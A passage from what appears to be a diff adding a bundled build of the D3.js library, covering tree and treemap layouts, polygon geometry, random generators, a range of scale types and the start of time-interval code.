up to the highest common level. The + // vertices used for the traversals are vi+, vi-, vo-, and vo+, where the + // superscript o means outside and i means inside, the subscript - means left + // subtree and + means right subtree. For summing up the modifiers along the + // contour, we use respective variables si+, si-, so-, and so+. Whenever two + // nodes of the inside contours conflict, we compute the left one of the + // greatest uncommon ancestors using the function ANCESTOR and call MOVE + // SUBTREE to shift the subtree and prepare the shifts of smaller subtrees. + // Finally, we add a new thread (if necessary). + function apportion(v, w, ancestor) { + if (w) { + var vip = v, + vop = v, + vim = w, + vom = vip.parent.children[0], + sip = vip.m, + sop = vop.m, + sim = vim.m, + som = vom.m, + shift; + while (vim = nextRight(vim), vip = nextLeft(vip), vim && vip) { + vom = nextLeft(vom); + vop = nextRight(vop); + vop.a = v; + shift = vim.z + sim - vip.z - sip + separation(vim._, vip._); + if (shift > 0) { + moveSubtree(nextAncestor(vim, v, ancestor), v, shift); + sip += shift; + sop += shift; + } + sim += vim.m; + sip += vip.m; + som += vom.m; + sop += vop.m; + } + if (vim && !nextRight(vop)) { + vop.t = vim; + vop.m += sim - sop; + } + if (vip && !nextLeft(vom)) { + vom.t = vip; + vom.m += sip - som; + ancestor = v; + } + } + return ancestor; + } + + function sizeNode(node) { + node.x *= dx; + node.y = node.depth * dy; + } + + tree.separation = function(x) { + return arguments.length ? (separation = x, tree) : separation; + }; + + tree.size = function(x) { + return arguments.length ? (nodeSize = false, dx = +x[0], dy = +x[1], tree) : (nodeSize ? null : [dx, dy]); + }; + + tree.nodeSize = function(x) { + return arguments.length ? (nodeSize = true, dx = +x[0], dy = +x[1], tree) : (nodeSize ? [dx, dy] : null); + }; + + return tree; +} + +function treemapSlice(parent, x0, y0, x1, y1) { + var nodes = parent.children, + node, + i = -1, + n = nodes.length, + k = parent.value && (y1 - y0) / parent.value; + + while (++i < n) { + node = nodes[i], node.x0 = x0, node.x1 = x1; + node.y0 = y0, node.y1 = y0 += node.value * k; + } +} + +var phi = (1 + Math.sqrt(5)) / 2; + +function squarifyRatio(ratio, parent, x0, y0, x1, y1) { + var rows = [], + nodes = parent.children, + row, + nodeValue, + i0 = 0, + i1 = 0, + n = nodes.length, + dx, dy, + value = parent.value, + sumValue, + minValue, + maxValue, + newRatio, + minRatio, + alpha, + beta; + + while (i0 < n) { + dx = x1 - x0, dy = y1 - y0; + + // Find the next non-empty node. + do sumValue = nodes[i1++].value; while (!sumValue && i1 < n); + minValue = maxValue = sumValue; + alpha = Math.max(dy / dx, dx / dy) / (value * ratio); + beta = sumValue * sumValue * alpha; + minRatio = Math.max(maxValue / beta, beta / minValue); + + // Keep adding nodes while the aspect ratio maintains or improves. + for (; i1 < n; ++i1) { + sumValue += nodeValue = nodes[i1].value; + if (nodeValue < minValue) minValue = nodeValue; + if (nodeValue > maxValue) maxValue = nodeValue; + beta = sumValue * sumValue * alpha; + newRatio = Math.max(maxValue / beta, beta / minValue); + if (newRatio > minRatio) { sumValue -= nodeValue; break; } + minRatio = newRatio; + } + + // Position and record the row orientation. + rows.push(row = {value: sumValue, dice: dx < dy, children: nodes.slice(i0, i1)}); + if (row.dice) treemapDice(row, x0, y0, x1, value ? y0 += dy * sumValue / value : y1); + else treemapSlice(row, x0, y0, value ? x0 += dx * sumValue / value : x1, y1); + value -= sumValue, i0 = i1; + } + + return rows; +} + +var squarify = (function custom(ratio) { + + function squarify(parent, x0, y0, x1, y1) { + squarifyRatio(ratio, parent, x0, y0, x1, y1); + } + + squarify.ratio = function(x) { + return custom((x = +x) > 1 ? x : 1); + }; + + return squarify; +})(phi); + +function index$3() { + var tile = squarify, + round = false, + dx = 1, + dy = 1, + paddingStack = [0], + paddingInner = constantZero, + paddingTop = constantZero, + paddingRight = constantZero, + paddingBottom = constantZero, + paddingLeft = constantZero; + + function treemap(root) { + root.x0 = + root.y0 = 0; + root.x1 = dx; + root.y1 = dy; + root.eachBefore(positionNode); + paddingStack = [0]; + if (round) root.eachBefore(roundNode); + return root; + } + + function positionNode(node) { + var p = paddingStack[node.depth], + x0 = node.x0 + p, + y0 = node.y0 + p, + x1 = node.x1 - p, + y1 = node.y1 - p; + if (x1 < x0) x0 = x1 = (x0 + x1) / 2; + if (y1 < y0) y0 = y1 = (y0 + y1) / 2; + node.x0 = x0; + node.y0 = y0; + node.x1 = x1; + node.y1 = y1; + if (node.children) { + p = paddingStack[node.depth + 1] = paddingInner(node) / 2; + x0 += paddingLeft(node) - p; + y0 += paddingTop(node) - p; + x1 -= paddingRight(node) - p; + y1 -= paddingBottom(node) - p; + if (x1 < x0) x0 = x1 = (x0 + x1) / 2; + if (y1 < y0) y0 = y1 = (y0 + y1) / 2; + tile(node, x0, y0, x1, y1); + } + } + + treemap.round = function(x) { + return arguments.length ? (round = !!x, treemap) : round; + }; + + treemap.size = function(x) { + return arguments.length ? (dx = +x[0], dy = +x[1], treemap) : [dx, dy]; + }; + + treemap.tile = function(x) { + return arguments.length ? (tile = required(x), treemap) : tile; + }; + + treemap.padding = function(x) { + return arguments.length ? treemap.paddingInner(x).paddingOuter(x) : treemap.paddingInner(); + }; + + treemap.paddingInner = function(x) { + return arguments.length ? (paddingInner = typeof x === "function" ? x : constant$9(+x), treemap) : paddingInner; + }; + + treemap.paddingOuter = function(x) { + return arguments.length ? treemap.paddingTop(x).paddingRight(x).paddingBottom(x).paddingLeft(x) : treemap.paddingTop(); + }; + + treemap.paddingTop = function(x) { + return arguments.length ? (paddingTop = typeof x === "function" ? x : constant$9(+x), treemap) : paddingTop; + }; + + treemap.paddingRight = function(x) { + return arguments.length ? (paddingRight = typeof x === "function" ? x : constant$9(+x), treemap) : paddingRight; + }; + + treemap.paddingBottom = function(x) { + return arguments.length ? (paddingBottom = typeof x === "function" ? x : constant$9(+x), treemap) : paddingBottom; + }; + + treemap.paddingLeft = function(x) { + return arguments.length ? (paddingLeft = typeof x === "function" ? x : constant$9(+x), treemap) : paddingLeft; + }; + + return treemap; +} + +function binary(parent, x0, y0, x1, y1) { + var nodes = parent.children, + i, n = nodes.length, + sum, sums = new Array(n + 1); + + for (sums[0] = sum = i = 0; i < n; ++i) { + sums[i + 1] = sum += nodes[i].value; + } + + partition(0, n, parent.value, x0, y0, x1, y1); + + function partition(i, j, value, x0, y0, x1, y1) { + if (i >= j - 1) { + var node = nodes[i]; + node.x0 = x0, node.y0 = y0; + node.x1 = x1, node.y1 = y1; + return; + } + + var valueOffset = sums[i], + valueTarget = (value / 2) + valueOffset, + k = i + 1, + hi = j - 1; + + while (k < hi) { + var mid = k + hi >>> 1; + if (sums[mid] < valueTarget) k = mid + 1; + else hi = mid; + } + + if ((valueTarget - sums[k - 1]) < (sums[k] - valueTarget) && i + 1 < k) --k; + + var valueLeft = sums[k] - valueOffset, + valueRight = value - valueLeft; + + if ((x1 - x0) > (y1 - y0)) { + var xk = (x0 * valueRight + x1 * valueLeft) / value; + partition(i, k, valueLeft, x0, y0, xk, y1); + partition(k, j, valueRight, xk, y0, x1, y1); + } else { + var yk = (y0 * valueRight + y1 * valueLeft) / value; + partition(i, k, valueLeft, x0, y0, x1, yk); + partition(k, j, valueRight, x0, yk, x1, y1); + } + } +} + +function sliceDice(parent, x0, y0, x1, y1) { + (parent.depth & 1 ? treemapSlice : treemapDice)(parent, x0, y0, x1, y1); +} + +var resquarify = (function custom(ratio) { + + function resquarify(parent, x0, y0, x1, y1) { + if ((rows = parent._squarify) && (rows.ratio === ratio)) { + var rows, + row, + nodes, + i, + j = -1, + n, + m = rows.length, + value = parent.value; + + while (++j < m) { + row = rows[j], nodes = row.children; + for (i = row.value = 0, n = nodes.length; i < n; ++i) row.value += nodes[i].value; + if (row.dice) treemapDice(row, x0, y0, x1, y0 += (y1 - y0) * row.value / value); + else treemapSlice(row, x0, y0, x0 += (x1 - x0) * row.value / value, y1); + value -= row.value; + } + } else { + parent._squarify = rows = squarifyRatio(ratio, parent, x0, y0, x1, y1); + rows.ratio = ratio; + } + } + + resquarify.ratio = function(x) { + return custom((x = +x) > 1 ? x : 1); + }; + + return resquarify; +})(phi); + +function area$2(polygon) { + var i = -1, + n = polygon.length, + a, + b = polygon[n - 1], + area = 0; + + while (++i < n) { + a = b; + b = polygon[i]; + area += a[1] * b[0] - a[0] * b[1]; + } + + return area / 2; +} + +function centroid$1(polygon) { + var i = -1, + n = polygon.length, + x = 0, + y = 0, + a, + b = polygon[n - 1], + c, + k = 0; + + while (++i < n) { + a = b; + b = polygon[i]; + k += c = a[0] * b[1] - b[0] * a[1]; + x += (a[0] + b[0]) * c; + y += (a[1] + b[1]) * c; + } + + return k *= 3, [x / k, y / k]; +} + +// Returns the 2D cross product of AB and AC vectors, i.e., the z-component of +// the 3D cross product in a quadrant I Cartesian coordinate system (+x is +// right, +y is up). Returns a positive value if ABC is counter-clockwise, +// negative if clockwise, and zero if the points are collinear. +function cross$1(a, b, c) { + return (b[0] - a[0]) * (c[1] - a[1]) - (b[1] - a[1]) * (c[0] - a[0]); +} + +function lexicographicOrder(a, b) { + return a[0] - b[0] || a[1] - b[1]; +} + +// Computes the upper convex hull per the monotone chain algorithm. +// Assumes points.length >= 3, is sorted by x, unique in y. +// Returns an array of indices into points in left-to-right order. +function computeUpperHullIndexes(points) { + var n = points.length, + indexes = [0, 1], + size = 2; + + for (var i = 2; i < n; ++i) { + while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size; + indexes[size++] = i; + } + + return indexes.slice(0, size); // remove popped points +} + +function hull(points) { + if ((n = points.length) < 3) return null; + + var i, + n, + sortedPoints = new Array(n), + flippedPoints = new Array(n); + + for (i = 0; i < n; ++i) sortedPoints[i] = [+points[i][0], +points[i][1], i]; + sortedPoints.sort(lexicographicOrder); + for (i = 0; i < n; ++i) flippedPoints[i] = [sortedPoints[i][0], -sortedPoints[i][1]]; + + var upperIndexes = computeUpperHullIndexes(sortedPoints), + lowerIndexes = computeUpperHullIndexes(flippedPoints); + + // Construct the hull polygon, removing possible duplicate endpoints. + var skipLeft = lowerIndexes[0] === upperIndexes[0], + skipRight = lowerIndexes[lowerIndexes.length - 1] === upperIndexes[upperIndexes.length - 1], + hull = []; + + // Add upper hull in right-to-l order. + // Then add lower hull in left-to-right order. + for (i = upperIndexes.length - 1; i >= 0; --i) hull.push(points[sortedPoints[upperIndexes[i]][2]]); + for (i = +skipLeft; i < lowerIndexes.length - skipRight; ++i) hull.push(points[sortedPoints[lowerIndexes[i]][2]]); + + return hull; +} + +function contains$2(polygon, point) { + var n = polygon.length, + p = polygon[n - 1], + x = point[0], y = point[1], + x0 = p[0], y0 = p[1], + x1, y1, + inside = false; + + for (var i = 0; i < n; ++i) { + p = polygon[i], x1 = p[0], y1 = p[1]; + if (((y1 > y) !== (y0 > y)) && (x < (x0 - x1) * (y - y1) / (y0 - y1) + x1)) inside = !inside; + x0 = x1, y0 = y1; + } + + return inside; +} + +function length$2(polygon) { + var i = -1, + n = polygon.length, + b = polygon[n - 1], + xa, + ya, + xb = b[0], + yb = b[1], + perimeter = 0; + + while (++i < n) { + xa = xb; + ya = yb; + b = polygon[i]; + xb = b[0]; + yb = b[1]; + xa -= xb; + ya -= yb; + perimeter += Math.sqrt(xa * xa + ya * ya); + } + + return perimeter; +} + +function defaultSource$1() { + return Math.random(); +} + +var uniform = (function sourceRandomUniform(source) { + function randomUniform(min, max) { + min = min == null ? 0 : +min; + max = max == null ? 1 : +max; + if (arguments.length === 1) max = min, min = 0; + else max -= min; + return function() { + return source() * max + min; + }; + } + + randomUniform.source = sourceRandomUniform; + + return randomUniform; +})(defaultSource$1); + +var normal = (function sourceRandomNormal(source) { + function randomNormal(mu, sigma) { + var x, r; + mu = mu == null ? 0 : +mu; + sigma = sigma == null ? 1 : +sigma; + return function() { + var y; + + // If available, use the second previously-generated uniform random. + if (x != null) y = x, x = null; + + // Otherwise, generate a new x and y. + else do { + x = source() * 2 - 1; + y = source() * 2 - 1; + r = x * x + y * y; + } while (!r || r > 1); + + return mu + sigma * y * Math.sqrt(-2 * Math.log(r) / r); + }; + } + + randomNormal.source = sourceRandomNormal; + + return randomNormal; +})(defaultSource$1); + +var logNormal = (function sourceRandomLogNormal(source) { + function randomLogNormal() { + var randomNormal = normal.source(source).apply(this, arguments); + return function() { + return Math.exp(randomNormal()); + }; + } + + randomLogNormal.source = sourceRandomLogNormal; + + return randomLogNormal; +})(defaultSource$1); + +var irwinHall = (function sourceRandomIrwinHall(source) { + function randomIrwinHall(n) { + return function() { + for (var sum = 0, i = 0; i < n; ++i) sum += source(); + return sum; + }; + } + + randomIrwinHall.source = sourceRandomIrwinHall; + + return randomIrwinHall; +})(defaultSource$1); + +var bates = (function sourceRandomBates(source) { + function randomBates(n) { + var randomIrwinHall = irwinHall.source(source)(n); + return function() { + return randomIrwinHall() / n; + }; + } + + randomBates.source = sourceRandomBates; + + return randomBates; +})(defaultSource$1); + +var exponential$1 = (function sourceRandomExponential(source) { + function randomExponential(lambda) { + return function() { + return -Math.log(1 - source()) / lambda; + }; + } + + randomExponential.source = sourceRandomExponential; + + return randomExponential; +})(defaultSource$1); + +function initRange(domain, range) { + switch (arguments.length) { + case 0: break; + case 1: this.range(domain); break; + default: this.range(range).domain(domain); break; + } + return this; +} + +function initInterpolator(domain, interpolator) { + switch (arguments.length) { + case 0: break; + case 1: this.interpolator(domain); break; + default: this.interpolator(interpolator).domain(domain); break; + } + return this; +} + +var array$3 = Array.prototype; + +var map$3 = array$3.map; +var slice$5 = array$3.slice; + +var implicit = {name: "implicit"}; + +function ordinal() { + var index = map$1(), + domain = [], + range = [], + unknown = implicit; + + function scale(d) { + var key = d + "", i = index.get(key); + if (!i) { + if (unknown !== implicit) return unknown; + index.set(key, i = domain.push(d)); + } + return range[(i - 1) % range.length]; + } + + scale.domain = function(_) { + if (!arguments.length) return domain.slice(); + domain = [], index = map$1(); + var i = -1, n = _.length, d, key; + while (++i < n) if (!index.has(key = (d = _[i]) + "")) index.set(key, domain.push(d)); + return scale; + }; + + scale.range = function(_) { + return arguments.length ? (range = slice$5.call(_), scale) : range.slice(); + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + scale.copy = function() { + return ordinal(domain, range).unknown(unknown); + }; + + initRange.apply(scale, arguments); + + return scale; +} + +function band() { + var scale = ordinal().unknown(undefined), + domain = scale.domain, + ordinalRange = scale.range, + range = [0, 1], + step, + bandwidth, + round = false, + paddingInner = 0, + paddingOuter = 0, + align = 0.5; + + delete scale.unknown; + + function rescale() { + var n = domain().length, + reverse = range[1] < range[0], + start = range[reverse - 0], + stop = range[1 - reverse]; + step = (stop - start) / Math.max(1, n - paddingInner + paddingOuter * 2); + if (round) step = Math.floor(step); + start += (stop - start - step * (n - paddingInner)) * align; + bandwidth = step * (1 - paddingInner); + if (round) start = Math.round(start), bandwidth = Math.round(bandwidth); + var values = sequence(n).map(function(i) { return start + step * i; }); + return ordinalRange(reverse ? values.reverse() : values); + } + + scale.domain = function(_) { + return arguments.length ? (domain(_), rescale()) : domain(); + }; + + scale.range = function(_) { + return arguments.length ? (range = [+_[0], +_[1]], rescale()) : range.slice(); + }; + + scale.rangeRound = function(_) { + return range = [+_[0], +_[1]], round = true, rescale(); + }; + + scale.bandwidth = function() { + return bandwidth; + }; + + scale.step = function() { + return step; + }; + + scale.round = function(_) { + return arguments.length ? (round = !!_, rescale()) : round; + }; + + scale.padding = function(_) { + return arguments.length ? (paddingInner = Math.min(1, paddingOuter = +_), rescale()) : paddingInner; + }; + + scale.paddingInner = function(_) { + return arguments.length ? (paddingInner = Math.min(1, _), rescale()) : paddingInner; + }; + + scale.paddingOuter = function(_) { + return arguments.length ? (paddingOuter = +_, rescale()) : paddingOuter; + }; + + scale.align = function(_) { + return arguments.length ? (align = Math.max(0, Math.min(1, _)), rescale()) : align; + }; + + scale.copy = function() { + return band(domain(), range) + .round(round) + .paddingInner(paddingInner) + .paddingOuter(paddingOuter) + .align(align); + }; + + return initRange.apply(rescale(), arguments); +} + +function pointish(scale) { + var copy = scale.copy; + + scale.padding = scale.paddingOuter; + delete scale.paddingInner; + delete scale.paddingOuter; + + scale.copy = function() { + return pointish(copy()); + }; + + return scale; +} + +function point$1() { + return pointish(band.apply(null, arguments).paddingInner(1)); +} + +function constant$a(x) { + return function() { + return x; + }; +} + +function number$2(x) { + return +x; +} + +var unit = [0, 1]; + +function identity$6(x) { + return x; +} + +function normalize(a, b) { + return (b -= (a = +a)) + ? function(x) { return (x - a) / b; } + : constant$a(isNaN(b) ? NaN : 0.5); +} + +function clamper(domain) { + var a = domain[0], b = domain[domain.length - 1], t; + if (a > b) t = a, a = b, b = t; + return function(x) { return Math.max(a, Math.min(b, x)); }; +} + +// normalize(a, b)(x) takes a domain value x in [a,b] and returns the corresponding parameter t in [0,1]. +// interpolate(a, b)(t) takes a parameter t in [0,1] and returns the corresponding range value x in [a,b]. +function bimap(domain, range, interpolate) { + var d0 = domain[0], d1 = domain[1], r0 = range[0], r1 = range[1]; + if (d1 < d0) d0 = normalize(d1, d0), r0 = interpolate(r1, r0); + else d0 = normalize(d0, d1), r0 = interpolate(r0, r1); + return function(x) { return r0(d0(x)); }; +} + +function polymap(domain, range, interpolate) { + var j = Math.min(domain.length, range.length) - 1, + d = new Array(j), + r = new Array(j), + i = -1; + + // Reverse descending domains. + if (domain[j] < domain[0]) { + domain = domain.slice().reverse(); + range = range.slice().reverse(); + } + + while (++i < j) { + d[i] = normalize(domain[i], domain[i + 1]); + r[i] = interpolate(range[i], range[i + 1]); + } + + return function(x) { + var i = bisectRight(domain, x, 1, j) - 1; + return r[i](d[i](x)); + }; +} + +function copy(source, target) { + return target + .domain(source.domain()) + .range(source.range()) + .interpolate(source.interpolate()) + .clamp(source.clamp()) + .unknown(source.unknown()); +} + +function transformer$1() { + var domain = unit, + range = unit, + interpolate = interpolateValue, + transform, + untransform, + unknown, + clamp = identity$6, + piecewise, + output, + input; + + function rescale() { + piecewise = Math.min(domain.length, range.length) > 2 ? polymap : bimap; + output = input = null; + return scale; + } + + function scale(x) { + return isNaN(x = +x) ? unknown : (output || (output = piecewise(domain.map(transform), range, interpolate)))(transform(clamp(x))); + } + + scale.invert = function(y) { + return clamp(untransform((input || (input = piecewise(range, domain.map(transform), interpolateNumber)))(y))); + }; + + scale.domain = function(_) { + return arguments.length ? (domain = map$3.call(_, number$2), clamp === identity$6 || (clamp = clamper(domain)), rescale()) : domain.slice(); + }; + + scale.range = function(_) { + return arguments.length ? (range = slice$5.call(_), rescale()) : range.slice(); + }; + + scale.rangeRound = function(_) { + return range = slice$5.call(_), interpolate = interpolateRound, rescale(); + }; + + scale.clamp = function(_) { + return arguments.length ? (clamp = _ ? clamper(domain) : identity$6, scale) : clamp !== identity$6; + }; + + scale.interpolate = function(_) { + return arguments.length ? (interpolate = _, rescale()) : interpolate; + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + return function(t, u) { + transform = t, untransform = u; + return rescale(); + }; +} + +function continuous(transform, untransform) { + return transformer$1()(transform, untransform); +} + +function tickFormat(start, stop, count, specifier) { + var step = tickStep(start, stop, count), + precision; + specifier = formatSpecifier(specifier == null ? ",f" : specifier); + switch (specifier.type) { + case "s": { + var value = Math.max(Math.abs(start), Math.abs(stop)); + if (specifier.precision == null && !isNaN(precision = precisionPrefix(step, value))) specifier.precision = precision; + return exports.formatPrefix(specifier, value); + } + case "": + case "e": + case "g": + case "p": + case "r": { + if (specifier.precision == null && !isNaN(precision = precisionRound(step, Math.max(Math.abs(start), Math.abs(stop))))) specifier.precision = precision - (specifier.type === "e"); + break; + } + case "f": + case "%": { + if (specifier.precision == null && !isNaN(precision = precisionFixed(step))) specifier.precision = precision - (specifier.type === "%") * 2; + break; + } + } + return exports.format(specifier); +} + +function linearish(scale) { + var domain = scale.domain; + + scale.ticks = function(count) { + var d = domain(); + return ticks(d[0], d[d.length - 1], count == null ? 10 : count); + }; + + scale.tickFormat = function(count, specifier) { + var d = domain(); + return tickFormat(d[0], d[d.length - 1], count == null ? 10 : count, specifier); + }; + + scale.nice = function(count) { + if (count == null) count = 10; + + var d = domain(), + i0 = 0, + i1 = d.length - 1, + start = d[i0], + stop = d[i1], + step; + + if (stop < start) { + step = start, start = stop, stop = step; + step = i0, i0 = i1, i1 = step; + } + + step = tickIncrement(start, stop, count); + + if (step > 0) { + start = Math.floor(start / step) * step; + stop = Math.ceil(stop / step) * step; + step = tickIncrement(start, stop, count); + } else if (step < 0) { + start = Math.ceil(start * step) / step; + stop = Math.floor(stop * step) / step; + step = tickIncrement(start, stop, count); + } + + if (step > 0) { + d[i0] = Math.floor(start / step) * step; + d[i1] = Math.ceil(stop / step) * step; + domain(d); + } else if (step < 0) { + d[i0] = Math.ceil(start * step) / step; + d[i1] = Math.floor(stop * step) / step; + domain(d); + } + + return scale; + }; + + return scale; +} + +function linear$2() { + var scale = continuous(identity$6, identity$6); + + scale.copy = function() { + return copy(scale, linear$2()); + }; + + initRange.apply(scale, arguments); + + return linearish(scale); +} + +function identity$7(domain) { + var unknown; + + function scale(x) { + return isNaN(x = +x) ? unknown : x; + } + + scale.invert = scale; + + scale.domain = scale.range = function(_) { + return arguments.length ? (domain = map$3.call(_, number$2), scale) : domain.slice(); + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + scale.copy = function() { + return identity$7(domain).unknown(unknown); + }; + + domain = arguments.length ? map$3.call(domain, number$2) : [0, 1]; + + return linearish(scale); +} + +function nice(domain, interval) { + domain = domain.slice(); + + var i0 = 0, + i1 = domain.length - 1, + x0 = domain[i0], + x1 = domain[i1], + t; + + if (x1 < x0) { + t = i0, i0 = i1, i1 = t; + t = x0, x0 = x1, x1 = t; + } + + domain[i0] = interval.floor(x0); + domain[i1] = interval.ceil(x1); + return domain; +} + +function transformLog(x) { + return Math.log(x); +} + +function transformExp(x) { + return Math.exp(x); +} + +function transformLogn(x) { + return -Math.log(-x); +} + +function transformExpn(x) { + return -Math.exp(-x); +} + +function pow10(x) { + return isFinite(x) ? +("1e" + x) : x < 0 ? 0 : x; +} + +function powp(base) { + return base === 10 ? pow10 + : base === Math.E ? Math.exp + : function(x) { return Math.pow(base, x); }; +} + +function logp(base) { + return base === Math.E ? Math.log + : base === 10 && Math.log10 + || base === 2 && Math.log2 + || (base = Math.log(base), function(x) { return Math.log(x) / base; }); +} + +function reflect(f) { + return function(x) { + return -f(-x); + }; +} + +function loggish(transform) { + var scale = transform(transformLog, transformExp), + domain = scale.domain, + base = 10, + logs, + pows; + + function rescale() { + logs = logp(base), pows = powp(base); + if (domain()[0] < 0) { + logs = reflect(logs), pows = reflect(pows); + transform(transformLogn, transformExpn); + } else { + transform(transformLog, transformExp); + } + return scale; + } + + scale.base = function(_) { + return arguments.length ? (base = +_, rescale()) : base; + }; + + scale.domain = function(_) { + return arguments.length ? (domain(_), rescale()) : domain(); + }; + + scale.ticks = function(count) { + var d = domain(), + u = d[0], + v = d[d.length - 1], + r; + + if (r = v < u) i = u, u = v, v = i; + + var i = logs(u), + j = logs(v), + p, + k, + t, + n = count == null ? 10 : +count, + z = []; + + if (!(base % 1) && j - i < n) { + i = Math.round(i) - 1, j = Math.round(j) + 1; + if (u > 0) for (; i < j; ++i) { + for (k = 1, p = pows(i); k < base; ++k) { + t = p * k; + if (t < u) continue; + if (t > v) break; + z.push(t); + } + } else for (; i < j; ++i) { + for (k = base - 1, p = pows(i); k >= 1; --k) { + t = p * k; + if (t < u) continue; + if (t > v) break; + z.push(t); + } + } + } else { + z = ticks(i, j, Math.min(j - i, n)).map(pows); + } + + return r ? z.reverse() : z; + }; + + scale.tickFormat = function(count, specifier) { + if (specifier == null) specifier = base === 10 ? ".0e" : ","; + if (typeof specifier !== "function") specifier = exports.format(specifier); + if (count === Infinity) return specifier; + if (count == null) count = 10; + var k = Math.max(1, base * count / scale.ticks().length); // TODO fast estimate? + return function(d) { + var i = d / pows(Math.round(logs(d))); + if (i * base < base - 0.5) i *= base; + return i <= k ? specifier(d) : ""; + }; + }; + + scale.nice = function() { + return domain(nice(domain(), { + floor: function(x) { return pows(Math.floor(logs(x))); }, + ceil: function(x) { return pows(Math.ceil(logs(x))); } + })); + }; + + return scale; +} + +function log$1() { + var scale = loggish(transformer$1()).domain([1, 10]); + + scale.copy = function() { + return copy(scale, log$1()).base(scale.base()); + }; + + initRange.apply(scale, arguments); + + return scale; +} + +function transformSymlog(c) { + return function(x) { + return Math.sign(x) * Math.log1p(Math.abs(x / c)); + }; +} + +function transformSymexp(c) { + return function(x) { + return Math.sign(x) * Math.expm1(Math.abs(x)) * c; + }; +} + +function symlogish(transform) { + var c = 1, scale = transform(transformSymlog(c), transformSymexp(c)); + + scale.constant = function(_) { + return arguments.length ? transform(transformSymlog(c = +_), transformSymexp(c)) : c; + }; + + return linearish(scale); +} + +function symlog() { + var scale = symlogish(transformer$1()); + + scale.copy = function() { + return copy(scale, symlog()).constant(scale.constant()); + }; + + return initRange.apply(scale, arguments); +} + +function transformPow(exponent) { + return function(x) { + return x < 0 ? -Math.pow(-x, exponent) : Math.pow(x, exponent); + }; +} + +function transformSqrt(x) { + return x < 0 ? -Math.sqrt(-x) : Math.sqrt(x); +} + +function transformSquare(x) { + return x < 0 ? -x * x : x * x; +} + +function powish(transform) { + var scale = transform(identity$6, identity$6), + exponent = 1; + + function rescale() { + return exponent === 1 ? transform(identity$6, identity$6) + : exponent === 0.5 ? transform(transformSqrt, transformSquare) + : transform(transformPow(exponent), transformPow(1 / exponent)); + } + + scale.exponent = function(_) { + return arguments.length ? (exponent = +_, rescale()) : exponent; + }; + + return linearish(scale); +} + +function pow$1() { + var scale = powish(transformer$1()); + + scale.copy = function() { + return copy(scale, pow$1()).exponent(scale.exponent()); + }; + + initRange.apply(scale, arguments); + + return scale; +} + +function sqrt$1() { + return pow$1.apply(null, arguments).exponent(0.5); +} + +function quantile() { + var domain = [], + range = [], + thresholds = [], + unknown; + + function rescale() { + var i = 0, n = Math.max(1, range.length); + thresholds = new Array(n - 1); + while (++i < n) thresholds[i - 1] = threshold(domain, i / n); + return scale; + } + + function scale(x) { + return isNaN(x = +x) ? unknown : range[bisectRight(thresholds, x)]; + } + + scale.invertExtent = function(y) { + var i = range.indexOf(y); + return i < 0 ? [NaN, NaN] : [ + i > 0 ? thresholds[i - 1] : domain[0], + i < thresholds.length ? thresholds[i] : domain[domain.length - 1] + ]; + }; + + scale.domain = function(_) { + if (!arguments.length) return domain.slice(); + domain = []; + for (var i = 0, n = _.length, d; i < n; ++i) if (d = _[i], d != null && !isNaN(d = +d)) domain.push(d); + domain.sort(ascending); + return rescale(); + }; + + scale.range = function(_) { + return arguments.length ? (range = slice$5.call(_), rescale()) : range.slice(); + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + scale.quantiles = function() { + return thresholds.slice(); + }; + + scale.copy = function() { + return quantile() + .domain(domain) + .range(range) + .unknown(unknown); + }; + + return initRange.apply(scale, arguments); +} + +function quantize$1() { + var x0 = 0, + x1 = 1, + n = 1, + domain = [0.5], + range = [0, 1], + unknown; + + function scale(x) { + return x <= x ? range[bisectRight(domain, x, 0, n)] : unknown; + } + + function rescale() { + var i = -1; + domain = new Array(n); + while (++i < n) domain[i] = ((i + 1) * x1 - (i - n) * x0) / (n + 1); + return scale; + } + + scale.domain = function(_) { + return arguments.length ? (x0 = +_[0], x1 = +_[1], rescale()) : [x0, x1]; + }; + + scale.range = function(_) { + return arguments.length ? (n = (range = slice$5.call(_)).length - 1, rescale()) : range.slice(); + }; + + scale.invertExtent = function(y) { + var i = range.indexOf(y); + return i < 0 ? [NaN, NaN] + : i < 1 ? [x0, domain[0]] + : i >= n ? [domain[n - 1], x1] + : [domain[i - 1], domain[i]]; + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : scale; + }; + + scale.thresholds = function() { + return domain.slice(); + }; + + scale.copy = function() { + return quantize$1() + .domain([x0, x1]) + .range(range) + .unknown(unknown); + }; + + return initRange.apply(linearish(scale), arguments); +} + +function threshold$1() { + var domain = [0.5], + range = [0, 1], + unknown, + n = 1; + + function scale(x) { + return x <= x ? range[bisectRight(domain, x, 0, n)] : unknown; + } + + scale.domain = function(_) { + return arguments.length ? (domain = slice$5.call(_), n = Math.min(domain.length, range.length - 1), scale) : domain.slice(); + }; + + scale.range = function(_) { + return arguments.length ? (range = slice$5.call(_), n = Math.min(domain.length, range.length - 1), scale) : range.slice(); + }; + + scale.invertExtent = function(y) { + var i = range.indexOf(y); + return [domain[i - 1], domain[i]]; + }; + + scale.unknown = function(_) { + return arguments.length ? (unknown = _, scale) : unknown; + }; + + scale.copy = function() { + return threshold$1() + .domain(domain) + .range(range) + .unknown(unknown); + }; + + return initRange.apply(scale, arguments); +} + +var t0$1 = new Date, + t1$1 = new Date; + +function newInterval(floori, offseti, count, field) { + + function interval(date) { + return floori(date = arguments.length === 0 ? new Date : new Date(+date)), date; + } + + interval.floor = function(date) { + return floori(date = new Date(+date)), date; + }; + + interval.ceil = function(date) { + return floori(date = new Date(date - 1)), offseti(date, 1), floori(date), date; + }; + + interval.round = function(date) { + var d0 = interval(date), + d1 = interval.ceil(date); + return date - d0 < d1 - date ? d0 : d1; + }; + + interval.offset = function(date, step) { + return offseti(date = new Date(+date), step == null ? 1 : Math.floor(step)), date; + }; + + interval.range = function(start, stop, step) { + var range = [], previous; + start = interval.ceil(start); + step = step == null ? 1 : Math.floor(step); + if (!(start < stop) || !(step > 0)) return range; // also handles Invalid Date + do range.push(previous = new Date(+start)), offseti(start, step), floori(start); + while (previous < start && start < stop); + return range; + }; + + interval.filter = function(test) { + return newInterval(function(date) { + if (date >= date) while (floori(date), !test(date)) date.setTime(date - 1); 